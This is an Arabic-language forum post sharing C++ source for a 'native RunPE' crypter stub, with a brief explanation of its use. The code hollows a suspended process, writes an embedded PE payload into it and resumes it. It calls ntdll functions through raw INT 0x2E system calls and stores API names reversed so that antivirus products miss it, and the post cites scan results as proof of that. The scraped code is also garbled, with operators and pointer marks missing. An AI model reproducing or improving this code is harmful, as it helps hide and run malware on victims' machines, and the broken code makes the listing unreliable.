حالة الموضوع:
مغلق
  1. unCoder

    unCoder Developer

    الأنتساب:
    ‏3 ديسمبر 2012
    المشاركات:
    11
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    الإقامة:
    NTOSKRNL
    [​IMG]


    NATIVE RUNPE
    USING INT 2E
    [SIZE=3][SIZE=3][SIZE=3][SIZE=3][SIZE=3][SIZE=3][SIZE=3][SIZE=3]
    [/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE]
    [​IMG]


    الآن فموضوعنا هو بعد أن قمنا ببرمجة رن بي فآليه المكشوفة ستتمكن الحمايات من إكتشافها وإيقافها عن العمل

    فهنا نلجئ لطريقة الحماية في الكشف ومن أهمها أنها تنظر للأمبورت تيبل فتعرف الـ APIs المستخدمة , وتعتمد على إستدعاء الدوال وسلوك الملف وغيره ..

    فمن الطرق اللتي أتت هي إستدعاء الدوال بطريقة الداينميك كال وغيره من الأمور اللتي تحدث في الرن تايم مثل تشفير أسماء الدوال وثم فكه أو حتى إستخدام بديل للدوال


    لاكن في هذا الرن بي قمنا بالإعتماد على آخر إستدعاء يتم للدالة في اليوزر مود وهو الـ SYSENTER , وقد إستخدمت تعليمة الـ INT 2E للإستدعاء وهذه تعمل في الـ 32 bit
    لأن طريقة الإستدعاء تختلف من نظام لآخر

    نلقي نظرة على الرن بي

    [​IMG]

    كود PHP:
    #include <Windows.h>
    #include <stdio.h>
    #include <iostream>

    #include "bytes.h"




    ///// Apis [ ntdll ] /////    
    charapis[] = {        
                            
    "daerhTtxetnoCteGtN" /*NtGetContextThread  */,
                            
    "noitceSfOweiVpamnUtN" /*NtUnmapViewOfSection  */,
                            
    "yromeMlautriVetacollAtN" /*NtAllocateVirtualMemory  */,
                            
    "yromeMlautriVetirWtN" /*NtWriteVirtualMemory  */,
                            
    "daerhTtxetnoCteStN" /*NtSetContextThread  */,
                            
    "daerhTemuseRtN" /*NtResumeThread  */};
                                  
    ////////////////


    int GetProcNtNumber(const charproc)
    {
        
    int number NULL;
        if(
    ReadProcessMemory(GetCurrentProcess(),(LPVOID)((DWORD)(GetProcAddress(LoadLibraryA("ntdll"),proc))+1),&number,1,NULL))
            return 
    number;

        return 
    0;

        
    }

    std::string rev(std::string string)
    {
        
    string std::string(string.rbegin(),string.rend());

        return 
    string;
    }




    void NtRunPE(LPBYTE buffer,LPCTSTR victimPath)
    {
        
    int API_NUMBER NULL;
        
        

        
    PIMAGE_DOS_HEADER PDH;
        
    PIMAGE_NT_HEADERS PNH;
        
    PIMAGE_SECTION_HEADER PSH;

        
    PDH = (PIMAGE_DOS_HEADER)&buffer[0];
        
    PNH = (PIMAGE_NT_HEADERS)&buffer[PDH->e_lfanew];

        if(
    PDH->e_magic != IMAGE_DOS_SIGNATURE)
            return;

        if(
    PNH->Signature != IMAGE_NT_SIGNATURE)
            return; 
            
        
        
    PROCESS_INFORMATION PI
        
    STARTUPINFO SI;
        
    ZeroMemory(&SI,sizeof(STARTUPINFO));
        
    SI.cb sizeof(STARTUPINFO);   

        if(!
    CreateProcessW(victimPath,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&SI,&PI))
            return;
        
        
        
        
    // NtGetContextThread <>

        
    API_NUMBER GetProcNtNumber("NtGetContextThread"); // It's detected if it's reverse encryption :\

        
    CONTEXT *context;
        
    HANDLE hThread PI.hThread;
        
    context->ContextFlags CONTEXT_FULL;
        
        
    __asm
        
    {
            
    PUSH context
            PUSH hThread

            MOV EAX
    ,API_NUMBER
            MOV EDX
    ,ESP
            INT 0x2E
        
    }

        if(
    context->Eax == NULL)
            return;

        
    // NtGetContextThread <>
        
        

        // NtUnmapViewOfSection <>

        
    API_NUMBER GetProcNtNumber(rev(apis[1]).c_str());

        
    HANDLE hProcess PI.hProcess;
        
    DWORD imageBase PNH->OptionalHeader.ImageBase;

        
    __asm
        
    {
            
    PUSH imageBase
            PUSH hProcess

            MOV EAX
    ,API_NUMBER
            MOV EDX
    ,ESP
            INT 0x2E
        
    }

        
    // NtUnmapViewOfSection <>

        

        // NtAllocateVirtualMemory <>

        
    API_NUMBER GetProcNtNumber(rev(apis[2]).c_str());

        
    DWORD SizeOfImage PNH->OptionalHeader.SizeOfImage;
        
    __asm
        
    {
            
    PUSH PAGE_EXECUTE_READWRITE
            PUSH MEM_COMMIT 
    MEM_RESERVE
            PUSH SizeOfImage
            PUSH NULL
            PUSH imageBase
            PUSH hProcess

            MOV EAX
    ,API_NUMBER
            MOV EDX
    ,ESP
            INT 0x2E
        
    }

        
    // NtAllocateVirtualMemory <>

        
        
        // NtWriteVirtualMemory <>

        
    API_NUMBER GetProcNtNumber(rev(apis[3]).c_str());

        
    // 1 - Writing Headers 

        
    DWORD HeadersSize PNH->OptionalHeader.SizeOfHeaders;

        
    __asm
        
    {
            
    PUSH NULL
            PUSH HeadersSize
            PUSH buffer
    [0]
            
    PUSH imageBase
            PUSH hProcess

            MOV EAX
    ,API_NUMBER
            MOV EDX
    ,ESP
            INT 0x2E

        
    }

        
    // 2- Writing Sections

                
    DWORD PointerToRawData ;
                
    DWORD SizeOfRawData;
                
    LPVOID nextsection_adrr;

                 for (
    int i PNH->FileHeader.NumberOfSections i++)
                {
                    
                  
    PSH = (PIMAGE_SECTION_HEADER)&buffer[PDH->e_lfanew sizeof(PIMAGE_NT_HEADERS) + sizeof(PIMAGE_SECTION_HEADER) * i];
                  
    PointerToRawData PSH->PointerToRawData;
                  
    SizeOfRawData PSH->SizeOfRawData;
                  
    nextsection_adrr = (LPVOID)(PNH->OptionalHeader.ImageBase PSH->VirtualAddress);

                  
    __asm
                  
    {
                      
    PUSH NULL
                      PUSH SizeOfRawData
                      PUSH buffer
    [PointerToRawData]
                      
    PUSH nextsection_adrr
                      PUSH hProcess
                      
                      MOV EAX
    ,API_NUMBER
                      MOV EDX
    ,ESP
                      INT 0x2E


                  
    }

                }

        
    // NtWriteVirtualMemory <>

                 
        // NtSetContextThread <>

        
    API_NUMBER GetProcNtNumber(rev(apis[4]).c_str());

        
    // calc the new entry [ imagebase + entrypoint address ] 
        
    DWORD NewEax PNH->OptionalHeader.ImageBase PNH->OptionalHeader.AddressOfEntryPoint;
        
    context->Eax NewEax;

        
    __asm
        
    {
            
    PUSH context
            PUSH hThread

            MOV EAX
    ,API_NUMBER
            MOV EDX
    ,ESP
            INT 0x2E
        
    }


        
    // NtSetContextThread <>


        // NtResumeThread <>

        
    API_NUMBER GetProcNtNumber(rev(apis[5]).c_str());

        
    __asm
        
    {
            
    PUSH NULL
            PUSH hThread

            MOV EAX
    ,API_NUMBER
            MOV EDX
    ,ESP
            INT 0x2E
        
    }

        
    // NtResumeThread <>

        
        
    }

    int main()
    {
        
    NtRunPE(buffer,L"C:\\Test.exe");

        return 
    0;
    }

    PasteBin


    [​IMG]

    فكما نرى لقد إستخدمت آلية السايس إنتر وهي آلية جميلة , كما نلاحظ إستخدام دوال الناتيف وهذا من الإمور المهمة في السايس إنتر

    فهذه أحد إستخدامات السايس إنتر في مجالنا وهو حماية الأجهزة وأيضا توجد العديد من الإستخدامات والحل المضاد لها هوك على أحد دوال الكرنل مود عن طريق درايفر

    فأترك لكم هذا التسائل في نهاية الموضوع كـ سوؤال محفز للبحث عن الـ SYSENTER والحصول على المزيد من المعلومات عنه
    وبإذن الله سأشرح عنها القليل في موضوع آخر


    [​IMG]

    نتيجة الفحص :

    ’’ ME-TASCAN ‘‘
    ’’ CHK4ME ‘‘


    موقع مفيد في الدوال الغير مدونة من ميكروسوفت وبعض الإمور الإخرى

    undocumented ntinternals

     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة